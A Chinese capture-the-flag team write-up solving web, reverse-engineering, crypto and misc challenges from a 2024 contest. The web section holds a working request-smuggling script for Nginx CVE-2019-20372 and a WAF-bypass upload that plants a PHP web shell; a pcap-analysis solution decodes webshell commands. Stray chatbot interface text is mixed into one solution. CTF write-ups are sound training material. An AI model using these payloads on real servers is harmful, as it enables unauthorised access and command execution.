W.战队WriteUp

W.战队WriteUp

图片资源：`./images/`

排名

战队名称：第7名

解题思路

WEB

海关警察训练平台

```
Nginx error_page 请求走私漏洞
```

题目提示flag在 http://infernityhost/flag.html
猜测大概是ssrf
看到nginx，想到CVE-2019-20372
Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页

面。
网上找了个exp https://github.com/0xleft/CVE-2019-20372.git：

```
import pwn
pwn.context.log_level = 'error'
remote = pwn.remote('gamebox.yunyansec.com',57855)
remote.sendline('GET / HTTP/1.1')
remote.sendline('Host: gamebox.yunyansec.com')
remote.sendline('')
remote.sendline('GET /flag.html HTTP/1.1')
remote.sendline('Host: infernityhost')
remote.sendline('')

remote.interactive()
```

奶龙牌WAF

题目需要绕过两处waf，文件名和文件内容
文件名处由于使用pathinfo，可使用/.绕过
文件内容处`file_get_contents($file['tmp_name'], false, null, 0, 5000);`
仅读取了前5000字节数据，前面加5000字符就可绕过。

exp（使用了yakit语法）：

```
POST /?name=test.php/. HTTP/1.1
Host: fa5d30f3.clsadp.com
Upgrade-Insecure-Requests: 1
Referer: http://869d1c54.clsadp.com/
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryAvszj4XJf1B9ammA
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/131.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Origin: http://fa5d30f3.clsadp.com
Content-Length: 18443


------WebKitFormBoundaryAvszj4XJf1B9ammA
Content-Disposition: form-data; name="upload_file"; filename="test.php"
```

```
Content-Type: image/jpeg
{{padding:null(1|5001)}}<?php @system($_GET['cmd']);?>
------WebKitFormBoundaryAvszj4XJf1B9ammA--
```

REVERSE

Map_maze

题目丢入ida分析：
1.初始化迷宫 函数 `sub_4010D0(v4, v5)` 初始化了一个迷宫地图，并将初始状态存储在 `v4` 和 `v5` 中。
2.函数 `sub_401E10(aPleaseInputYou, v4[0])` 提示用户输入一个长度为28的字符串。
3. `sub_401C40(v4, v5, Str)` 根据输入的字符串 `Str` 在迷宫中移动，并检查最终到达的位置是否与 `v5` 中的目标位置匹配。

根据 `sub_4010D0` 和 `sub_401C40` 还有 `sub_401080` 三个函数 编写脚本，

函数初始化并复制数组元素

```
  a2[1] = v3[1];
  a2[2] = v3[2];
  a2[3] = v3[3];
  result = v3[4];
  a2[4] = result;
  return result;
}
```

4 / 4

为了提取迷宫的结构，我们需要分析 **`sub_4010D0`** 函数中的初始化部分。这个函数初始化了一个 15x15 的二维数组 **`v5`**，并根据特定的模式设置了一些元素的值。我们可以通过这些设置来提取迷宫的结构。

提取迷宫的步骤：

1. **初始化二维数组 `v5`：**
   - **`v5`** 是一个大小为 15x15 的二维数组，每个元素通过调用 **`sub_401080(0)`** 初始化。
2. **设置 `v5` 的部分元素：**
   - 函数通过多个嵌套循环，将 **`v5`** 的部分元素设置为 1 或 0。这些循环的索引范围和设置的值是根据特定的模式进行的。
3. **提取迷宫结构：**
   - 我们可以根据这些设置的值来提取迷宫的结构。1 表示可以通过的路径，0 表示障碍物或墙壁。

提取迷宫的代码实现：

python 复制

```python
def extract_maze():
    maze = [[0 for _ in range(15)] for _ in range(15)]
```

给 DeepSeek 发送消息

内容由 AI 生成，请仔细甄别

```python
import hashlib
def is_valid_move(maze, x, y, visited):
    rows = len(maze)
    cols = len(maze[0])
    return 0 ≤ x < rows and 0 ≤ y < cols and maze[x][y] == 0 and not
visited[x][y]
def dfs(maze, x, y, end_x, end_y, visited, path, steps):
    if steps > 28:
        return False
    if x == end_x and y == end_y:
        if steps == 28:
            print("Path found:", ''.join(path))
            return True
        return False
    visited[x][y] = True
    directions = [('U', -1, 0), ('D', 1, 0), ('L', 0, -1), ('R', 0, 1)]
    for direction, dx, dy in directions:
        new_x, new_y = x + dx, y + dy
        if is_valid_move(maze, new_x, new_y, visited):
            path.append(direction)
            if dfs(maze, new_x, new_y, end_x, end_y, visited, path, steps +
1):
                return True
            path.pop()

    visited[x][y] = False
    return False
def find_path(maze, start, end):
    start_x, start_y = start
    end_x, end_y = end
    visited = [[False for _ in range(len(maze[0]))] for _ in
range(len(maze))]
    path = []
    if not dfs(maze, start_x, start_y, end_x, end_y, visited, path, 0):
        print("no")
    else:
        answer = ''.join(path)
        print("答案: ", answer)
        # 计算MD5哈希值
        md5_hash = hashlib.md5(answer.encode()).hexdigest()
        print("flag:", f"LZSDS{{{md5_hash}}}")
def extract_maze():
    maze = [[0 for _ in range(15)] for _ in range(15)]
    for i in range(15):
        for j in range(15):
            maze[i][j] = 0
```

```
    for k in range(1, 15):
        maze[0][k] = 1
    for m in range(9, 15):
        maze[1][m] = 1
    for n in range(2):
        maze[2][n] = 1
    for ii in range(3, 8):
        maze[2][ii] = 1
    for jj in range(9, 15):
        maze[2][jj] = 1
    for kk in range(2):
        maze[3][kk] = 1
    for mm in range(3, 8):
        maze[3][mm] = 1
    for nn in range(12, 15):
        maze[3][nn] = 1
    for i1 in range(2):
        maze[4][i1] = 1
    for i2 in range(7, 10):
        maze[4][i2] = 0
    maze[4][7] = 1
    for i3 in range(11, 15):
        maze[4][i3] = 1
    for i4 in range(2):
        maze[5][i4] = 1
    for i5 in range(3, 6):
        maze[5][i5] = 1
    for i6 in range(11, 15):
        maze[5][i6] = 1
    for i7 in range(2):
        maze[6][i7] = 1
    maze[6][2] = 0
    for i8 in range(3, 6):
        maze[6][i8] = 1
    for i9 in range(7, 10):
        maze[6][i9] = 1
    for i10 in range(11, 15):
        maze[6][i10] = 1
    maze[7][0] = 1
    maze[7][1] = 0
    maze[7][2] = 0
    maze[7][3] = 1
    for i11 in range(4, 6):
        maze[7][i11] = 1
    for i12 in range(7, 10):
        maze[7][i12] = 1
```

```
    for i13 in range(11, 15):
        maze[7][i13] = 1
    for i14 in range(2):
        maze[8][i14] = 1
    for i15 in range(7, 10):
        maze[8][i15] = 1
    for i16 in range(11, 15):
        maze[8][i16] = 1
    for i17 in range(6):
        maze[9][i17] = 1
    for i18 in range(7, 10):
        maze[9][i18] = 1
    for i19 in range(11, 15):
        maze[9][i19] = 1
    for i20 in range(6):
        maze[10][i20] = 1
    for i21 in range(11, 15):
        maze[10][i21] = 1
    for i22 in range(9):
        maze[11][i22] = 1
    for i23 in range(13, 15):
        maze[11][i23] = 1
    for i24 in range(9):
        maze[12][i24] = 1
    maze[12][9] = 0
    maze[12][10] = 1
    maze[12][11] = 1
    maze[12][12] = 0
    for i25 in range(13, 15):
        maze[12][i25] = 1
    for i26 in range(9):
        maze[13][i26] = 1
    maze[13][9] = 0
    maze[13][10] = 1
    maze[13][11] = 1
    maze[13][12] = 0
    for i27 in range(13, 15):
        maze[13][i27] = 1
    for i28 in range(12):
        maze[14][i28] = 1
    return maze
maze = extract_maze()
print(maze)
find_path(maze, (0, 0), (14, 14))
```

Crypto

xorsa

密码签到题：

exp：

```
from Crypto.Util.number import long_to_bytes
from gmpy2 import gcd, iroot
c =
13760578729891127041098229431259961120216468948795732373975536417751222443069805775693845560005881981622202089883866395577154701229046245882282127054969114210307175116574178428823043817041956207503299220721042136515863979655578210499512044917781566303947681251248645504273995402630701480590505840473412765662
n =
14247038211821385209759067256846232227444163173099199085257790370590450749665206556163364754269182255358084948354345827898987234756662133974633117062902370811855466665351784027125333112663075085395676501121759786699720149098576433141817737564928779420725539793335830274229206316999461309927000523188222801659
hint1 =
89385386199617313997160166654705640849862438803949289184823742958145093533823646512012495321112689517933545721243240339025025885412977132976224326707227230
hint2 =
14932981552434748373200928493257503877595196438793886092083144940006055540206367063208490329067591219147624923784898525755832601775465789353209776130506647
# hint2就是q
q = hint2
# 通过hint1和q可以求出p: p = hint1 ^ q
p = hint1 ^ q
e = 2026
# 计算phi
phi = (p-1) * (q-1)
# 检查e和phi的最大公约数
g = gcd(e, phi)
print(f"gcd(e, phi) = {g}")
# 如果e和phi不互质，需要先除去公因子
e = e // g
phi = phi // g
# 现在计算d
d = pow(e, -1, phi)
# 解密时需要先开g次方
m = pow(c, d, n)
for _ in range(g):
```

```
m_root = iroot(m, 2)
if m_root[1]: # 如果能开平方
m = m_root[0]
else:
print("无法继续开平方")
break
flag = long_to_bytes(int(m)).decode()
print(flag)
```

Misc

golf

没有禁input(不知道是不是预期解)。
input输入的信息进行切割，然后复制给s
s和BOX比较，成功获得flag

```
import base64
from pwn import *

context.log_level = 'DEBUG'
BOX = ['63', '7c', '77', '7b', 'f2', '6b', '6f', 'c5', '30', '01', '67',
'2b', 'fe', 'd7', 'ab', '76', 'ca', '82', 'c9', '7d', 'fa', '59', '47',
'f0', 'ad', 'd4', 'a2', 'af', '9c', 'a4', '72', 'c0', 'b7', 'fd', '93',
'26', '36', '3f', 'f7', 'cc', '34', 'a5', 'e5', 'f1', '71', 'd8', '31',
'15', '04', 'c7', '23', 'c3', '18', '96', '05', '9a', '07', '12', '80',
'e2', 'eb', '27', 'b2', '75', '09', '83', '2c', '1a', '1b', '6e', '5a',
'a0', '52', '3b', 'd6', 'b3', '29', 'e3', '2f', '84', '53', 'd1', '00',
'ed', '20', 'fc', 'b1', '5b', '6a', 'cb', 'be', '39', '4a', '4c', '58',
'cf', 'd0', 'ef', 'aa', 'fb', '43', '4d', '33', '85', '45', 'f9', '02',
'7f', '50', '3c', '9f', 'a8', '51', 'a3', '40', '8f', '92', '9d', '38',
'f5', 'bc', 'b6', 'da', '21', '10', 'ff', 'f3', 'd2', 'cd', '0c', '13',
'ec', '5f', '97', '44', '17', 'c4', 'a7', '7e', '3d', '64', '5d', '19',
'73', '60', '81', '4f', 'dc', '22', '2a', '90', '88', '46', 'ee', 'b8',
'14', 'de', '5e', '0b', 'db', 'e0', '32', '3a', '0a', '49', '06', '24',
'5c', 'c2', 'd3', 'ac', '62', '91', '95', 'e4', '79', 'e7', 'c8', '37',
'6d', '8d', 'd5', '4e', 'a9', '6c', '56', 'f4', 'ea', '65', '7a', 'ae',
'08', 'ba', '78', '25', '2e', '1c', 'a6', 'b4', 'c6', 'e8', 'dd', '74',
'1f', '4b', 'bd', '8b', '8a', '70', '3e', 'b5', '66', '48', '03', 'f6',
'0e', '61', '35', '57', 'b9', '86', 'c1', '1d', '9e', 'e1', 'f8', '98',
'11', '69', 'd9', '8e', '94', '9b', '1e', '87', 'e9', 'ce', '55', '28',
'df', '8c', 'a1', '89', '0d', 'bf', 'e6', '42', '68', '41', '99', '2d',
'0f', 'b0', '54', 'bb', '16']
s = ''.join(BOX)
print(s)
```

```
payload = "b=input(' >>>');s=[b[i:i+2] for i in range(0, len(b), 2)]"
print(len(payload))
b64_payload = base64.b64encode(payload.encode()).decode()

r = remote('gamebox.yunyansec.com', 60431)
print('----------')
r.sendlineafter('give me your solve:\n',b64_payload)
print('----------')
r.sendlineafter(' >>>',s)
print('----------')
print(r.recvall().decode())
```

Elemental Wars

本以为每局对手出的都一样，写了个列表，没想到是随机的。
那就暴力解，看脸，跑了六七百次才出flag....
依次发送给服务端，输了自动下一局，直到赢为止

exp:

```
from pwn import *
r = remote("gamebox.yunyansec.com",48128)
sl = [4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5,
3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5,
3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5,
3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5, 3, 2, 4, 1, 5,
3, 2]
i = 0
while True:
    response = r.recvuntil("): ",False,1).decode()
    if "flag" in response:
        print(response)
        exit()
    log.info(f"{i}\t: {response}")
    r.send(f'{sl[i%100]}\n')
    i+=1
```

神奇的硬币纺纱机

全程不投币，就能拿到硬币
exp：

```
from pwn import *
```

```python
r = remote("gamebox.yunyansec.com",56114)
context.log_level = 'debug'

for i in range(101):
    response = r.recvuntil(b'<10?i>:').decode()
    log.info(f"{i}\t: {response}")
    r.send('0\n')
```

开启pwntools的debug，在debug信息中获得最后返回的flag。

javaPcap

题目为java程序，根据传入的cmd，key，encryptMethod，进行shell执行
题目给出了流量和jar包，
反编译jar包，获得4个java代码，
编写解密代码

```java
package server;

import org.pcap4j.core.*;
import org.pcap4j.packet.*;
import java.util.concurrent.TimeoutException;
import java.io.EOFException;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.net.URLDecoder;

public class PcapAnalyzer {
    private static final Map<String, List<String>> sessions = new HashMap<>
();
    private static final Map<String, Long> sessionTimes = new HashMap<>();
    private static final Map<String, Map<String, String>> sessionParams =
new HashMap<>();

    private static final String RAW_PACKETS_DIR = "raw_packets";

    private static final List<Map<String, Object>> urlList = new ArrayList<>
();

    public static void main(String[] args) {
        try {
            File outputDir = new File("aaaa");
            if (!outputDir.exists()) {
```

```
                outputDir.mkdir();
            }

            File pcapFile = new File("jpcap.pcap");
            if (!pcapFile.exists()) {
                System.err.println("Error: jpcap.pcap file not found!");
                return;
            }

            System.out.println("Opening pcap file: " +
pcapFile.getAbsolutePath());
            PcapHandle handle =
Pcaps.openOffline(pcapFile.getAbsolutePath());
            System.out.println("Successfully opened pcap file");

            int packetCount = 0;
            int responseCount = 0;

            while (true) {
                try {
                    Packet packet = handle.getNextPacketEx();
                    packetCount++;

                    if (packet.contains(TcpPacket.class) &&
packet.contains(IpPacket.class)) {
                        TcpPacket tcpPacket = packet.get(TcpPacket.class);
                        IpPacket ipPacket = packet.get(IpPacket.class);

                        String srcIp =
ipPacket.getHeader().getSrcAddr().getHostAddress();
                        String dstIp =
ipPacket.getHeader().getDstAddr().getHostAddress();
                        int srcPort =
tcpPacket.getHeader().getSrcPort().valueAsInt();
                        int dstPort =
tcpPacket.getHeader().getDstPort().valueAsInt();

                        String sessionKey = String.format("%s:%d-%s:%d",
srcIp, srcPort, dstIp, dstPort);
                        String reverseKey = String.format("%s:%d-%s:%d",
dstIp, dstPort, srcIp, srcPort);

                        if (tcpPacket.getPayload() != null) {
                            byte[] payload =
tcpPacket.getPayload().getRawData();
                            String data = new String(payload,
```

```
StandardCharsets.UTF_8);

                            // 检查是否包含HTTP请求
                            if (data.contains("GET ") || data.contains("POST
")) {
                                String url = extractUrl(data);
                                if (url != null) {
                                    Map<String, String> params =
parseQueryParams(data);
                                    if (params != null) {
                                        // 添加URL信息到urlList
                                        Map<String, Object> urlInfo = new
HashMap<>();
                                        urlInfo.put("timestamp",
handle.getTimestamp());
                                        urlInfo.put("url", url);
                                        urlInfo.put("params", params);
                                        urlList.add(urlInfo);

                                        if (url.contains("/shell")) {
                                            sessionParams.put(sessionKey,
params);
                                            sessionTimes.put(sessionKey,
handle.getTimestamp().getTime());
                                        }
                                    }
                                }
                            }
                            // 处理响应
                            else if (sessionParams.containsKey(reverseKey))
{
                                Map<String, String> requestParams =
sessionParams.get(reverseKey);
                                if (requestParams != null) {
                                    responseCount++;
                                    String filename =
String.format("aaaa/shell_response_%d.txt", responseCount);
                                    saveShellResponse(handle, data,
requestParams, responseCount, payload, filename);
                                }
                            }
                        }
                    }

                } catch (TimeoutException e) {
                    continue;
```

```
                } catch (EOFException e) {
                    // 打印所有URL信息
                    System.out.println("\n=== All URLs ===");
                    for (int i = 0; i < urlList.size(); i++) {
                        Map<String, Object> urlInfo = urlList.get(i);
                        System.out.println("\nURL #" + (i + 1));
                        System.out.println("Time: " +
urlInfo.get("timestamp"));
                        System.out.println("URL: " + urlInfo.get("url"));

                        @SuppressWarnings("unchecked")
                        Map<String, String> params = (Map<String, String>)
urlInfo.get("params");
                        if (params != null) {
                            System.out.println("Parameters:");
                            for (Map.Entry<String, String> entry :
params.entrySet()) {
                                String value = entry.getValue();
                                if (entry.getKey().equals("cmd")) {
                                    try {
                                        value = new
String(Base64.getDecoder().decode(value));
                                        System.out.println("  " +
entry.getKey() + ": " + value + " (decoded)");
                                    } catch (Exception ex) {
                                        System.out.println("  " +
entry.getKey() + ": " + value);
                                    }
                                } else {
                                    System.out.println("  " + entry.getKey()
+ ": " + value);
                                }
                            }
                        }
                        System.out.println("------------------------");
                    }

                    System.out.println("\n文件解析完成");
                    System.out.println("总共解析了 " + packetCount + " 个数据
包");
                    System.out.println("找到 " + urlList.size() + " 个URL");
                    System.out.println("保存了 " + responseCount + " 个响应文件
到 aaaa 目录");
                    break;
                } catch (Exception e) {
                    System.err.println("Error parsing packet: " +
```

```
e.getMessage());
                    continue;
                }
            }

            handle.close();

        } catch (PcapNativeException e) {
            System.err.println("Error opening pcap file: " +
e.getMessage());
            e.printStackTrace();
        }
    }

    private static void saveShellResponse(PcapHandle handle, String data,
Map<String, String> requestParams,
                                          int responseCount, byte[] payload,
String filename) throws Exception {
        String encryptMethod = requestParams.get("encryptMethod");
        String key = requestParams.get("key");
        String cmd = new
String(Base64.getDecoder().decode(requestParams.get("cmd")));

        try (FileWriter writer = new FileWriter(filename)) {
            writer.write("Time: " + handle.getTimestamp() + "\n");
            writer.write("Command: " + cmd + "\n");
            writer.write("Encryption: " + encryptMethod + "\n");
            writer.write("Key: " + key + "\n");
            writer.write("\nEncrypted Content:\n");
            writer.write(data);
            writer.write("\n\nHex Content:\n");
            writer.write(bytesToHex(payload));

            // 尝试解密
            try {
                String decryptedContent = "";
                switch (encryptMethod) {
                    case "aes":
                        decryptedContent = CustomEncryptor.decryptAES(key,
data);
                        break;
                    case "sm4":
                        decryptedContent = CustomEncryptor.decryptSM4(key,
data);
                        break;
                    case "blowfish":
```

```
                        decryptedContent =
CustomEncryptor.decryptBlowfish(key, data);
                        break;
                }
                writer.write("\n\nDecrypted Content:\n");
                writer.write(decryptedContent);
            } catch (Exception e) {
                writer.write("\n\nDecryption failed: " + e.getMessage());
            }
        }
    }

    private static String extractUrl(String data) {
        try {
            int start = data.indexOf("GET ") != -1 ? data.indexOf("GET ") +
4 : data.indexOf("POST ") + 5;
            int end = data.indexOf(" HTTP");
            if (start != -1 && end != -1) {
                return data.substring(start, end);
            }
        } catch (Exception e) {
            // ignore
        }
        return null;
    }

    private static Map<String, String> parseQueryParams(String data) {
        try {
            int queryStart = data.indexOf("?");
            int queryEnd = data.indexOf(" HTTP");
            if (queryStart == -1 || queryEnd == -1) return null;

            String query = data.substring(queryStart + 1, queryEnd);
            Map<String, String> params = new HashMap<>();

            String[] pairs = query.split("&");
            for (String pair : pairs) {
                String[] keyValue = pair.split("=", 2);
                if (keyValue.length == 2) {
                    String key = URLDecoder.decode(keyValue[0], "UTF-8");
                    String value = URLDecoder.decode(keyValue[1], "UTF-8");
                    params.put(key, value);
                }
            }
            return params;
        } catch (Exception e) {
```

```
            return null;
        }
    }

    private static String bytesToHex(byte[] bytes) {
        StringBuilder sb = new StringBuilder();
        for (byte b : bytes) {
            sb.append(String.format("%02X ", b));
        }
        return sb.toString();
    }

    private static void saveRawPacket(Packet packet, String fileName,
java.util.Date timestamp) {
        try (FileWriter writer = new FileWriter(fileName)) {
            writer.write("Timestamp: " + timestamp + "\n");
            writer.write("Packet Length: " + packet.length() + "\n");
            writer.write("Packet Structure:\n");
            writer.write(packet.toString());
            writer.write("\n\nHex Dump:\n");
            if (packet.getRawData() != null) {
                writer.write(bytesToHex(packet.getRawData()));
            }

            // 如果包含TCP负载，单独保存
            if (packet.contains(TcpPacket.class)) {
                TcpPacket tcpPacket = packet.get(TcpPacket.class);
                if (tcpPacket.getPayload() != null) {
                    writer.write("\n\nTCP Payload:\n");
                    writer.write(new
String(tcpPacket.getPayload().getRawData(), StandardCharsets.UTF_8));
                    writer.write("\n\nTCP Payload Hex:\n");

writer.write(bytesToHex(tcpPacket.getPayload().getRawData()));
                }
            }
        } catch (Exception e) {
            System.err.println("Error saving packet " + fileName + ": " +
e.getMessage());
        }
    }
}
```

添加解密函数的代码

```java
package server;

import java.nio.charset.StandardCharsets;
import java.security.Provider;
import java.security.Security;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.bouncycastle.jce.provider.BouncyCastleProvider;

public class CustomEncryptor {
  static {
    Security.addProvider((Provider)new BouncyCastleProvider());
  }

  public static String encryptSM4(String key, String content) {
    try {
      byte[] keyBytes = generateKeyBytes(key, 16);
      SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "SM4");
      Cipher cipher = Cipher.getInstance("SM4/ECB/PKCS5Padding", "BC");
      cipher.init(1, secretKey);
      byte[] encryptedBytes =
cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
      return Base64.getEncoder().encodeToString(encryptedBytes);
    } catch (Exception e) {
      throw new RuntimeException("Encryption error: " + e.getMessage(), e);
    }
  }

  private static byte[] generateKeyBytes(String key, int length) {
    byte[] keyBytes = new byte[length];
    byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
    System.arraycopy(inputKeyBytes, 0, keyBytes, 0,
Math.min(inputKeyBytes.length, length));
    return keyBytes;
  }

  public static String encryptAES(String key, String content) {
    return encrypt(content, key, "AES", 16);
  }

  public static String encryptBlowfish(String key, String content) {
    return encrypt(content, key, "Blowfish", 16);
  }

  private static String encrypt(String content, String key, String
```

```
algorithm, int keySize) {
    try {
      byte[] keyBytes = new byte[keySize];
      byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
      System.arraycopy(inputKeyBytes, 0, keyBytes, 0,
Math.min(inputKeyBytes.length, keySize));
      SecretKeySpec secretKey = new SecretKeySpec(keyBytes, algorithm);
      Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
      cipher.init(1, secretKey);
      byte[] encryptedBytes =
cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
      return Base64.getEncoder().encodeToString(encryptedBytes);
    } catch (Exception e) {
      throw new RuntimeException("Encryption error: " + e.getMessage(), e);
    }
  }

  public static String decryptAES(String key, String content) {
    return decrypt(content, key, "AES", 16);
  }

  public static String decryptSM4(String key, String content) {
    try {
      byte[] keyBytes = generateKeyBytes(key, 16);
      SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "SM4");
      Cipher cipher = Cipher.getInstance("SM4/ECB/PKCS5Padding", "BC");
      cipher.init(Cipher.DECRYPT_MODE, secretKey);
      byte[] decryptedBytes =
cipher.doFinal(Base64.getDecoder().decode(content));
      return new String(decryptedBytes, StandardCharsets.UTF_8);
    } catch (Exception e) {
      throw new RuntimeException("Decryption error: " + e.getMessage(), e);
    }
  }

  public static String decryptBlowfish(String key, String content) {
    return decrypt(content, key, "Blowfish", 16);
  }

  private static String decrypt(String content, String key, String
algorithm, int keySize) {
    try {
      byte[] keyBytes = new byte[keySize];
      byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
      System.arraycopy(inputKeyBytes, 0, keyBytes, 0,
Math.min(inputKeyBytes.length, keySize));
```

```java
      SecretKeySpec secretKey = new SecretKeySpec(keyBytes, algorithm);
      Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
      cipher.init(Cipher.DECRYPT_MODE, secretKey);
      byte[] decryptedBytes =
cipher.doFinal(Base64.getDecoder().decode(content));
      return new String(decryptedBytes, StandardCharsets.UTF_8);
    } catch (Exception e) {
      throw new RuntimeException("Decryption error: " + e.getMessage(), e);
    }
  }
}
```

执行结果:

```
═══ All URLs ═══
URL #1
Time: 2024-11-06 15:30:30.39572
URL: /shell?cmd=d2hvYW1p&key=6432687659573170&encryptMethod=aes
Parameters:
  encryptMethod: aes
  cmd: whoami (decoded)
  key: 6432687659573170
------------------------

URL #2
Time: 2024-11-06 15:30:32.581017
URL: /shell?cmd=bHMgLWFsdA&key=62484d674c5746736441&encryptMethod=sm4
Parameters:
  encryptMethod: sm4
  cmd: ls -alt (decoded)
  key: 62484d674c5746736441
------------------------

URL #3
Time: 2024-11-06 15:30:34.760688
URL: /shell?
cmd=bHMgZmxhZy8&key=62484d675a6d78685a7938&encryptMethod=blowfish
Parameters:
  encryptMethod: blowfish
  cmd: ls flag/ (decoded)
  key: 62484d675a6d78685a7938
------------------------

URL #4
Time: 2024-11-06 15:30:36.923148
```

```
URL: /shell?
cmd=YmFzZTY0IGZsYWcvZmxhZy56aXA&key=596d467a5a54593049475a73595763765a6d7868
5a793536615841&encryptMethod=blowfish
Parameters:
  encryptMethod: blowfish
  cmd: base64 flag/flag.zip (decoded)
  key: 596d467a5a54593049475a73595763765a6d78685a793536615841
------------------------

URL #5
Time: 2024-11-06 15:30:39.088981
URL: /shell?
cmd=Y2F0IGZsYWcvaGludC50eHQ&key=5932463049475a735957637661476c75644335306548
51&encryptMethod=sm4
Parameters:
  encryptMethod: sm4
  cmd: cat flag/hint.txt (decoded)
  key: 5932463049475a735957637661476c7564433530654851
------------------------
```

获得5个http请求
查看到第4个请求的结果解密信息为


```
UEsDBBQACQAIABSGZFkAAAAAAAAAACsAAAAIACkAZmxhZy50eHRVVAkABWiKKGeQGitndXgLAAEE
AAAAAAQAAAAAeGwJAAcUAwAAAADtgXBFs0Lb8F43+KxCxq77A+Zya0CyhPRERubzgNwf5fF5GVjt
ntPQZe8hy0s4qLAhBXW42FAs5Xhw4lBLBwiHHE6JOQAAACsAAABQSwECFAMUAAkACAAUhmRZhxxO
iTkAAAArAAAACAAcAAAAAAAAAAAA7YEAAAAAZmxhZy50eHRVVAkABWiKKGeQGitndXgLAAEEAAAA
AAQAAAAAUEsFBgAAAAABAAEAUgAAAJgAAAAAAA==
```


将base64解码后，得到flag.zip，
密码提示为
`密码为执行命令（按照时间排序）的首字母的组合重复三次，比如执行了（id,whoami），那么密码就为iwiwiw`

执行命令有：

```
whoami
ls -alt
ls flag/
base64 flag/flag.zip
cat flag/hint.txt
```

可知密码为wllbcwllbcwllbc
解压后获得flag

欢迎来到2024蜀道山CTF

关注公众号发送消息，获得flag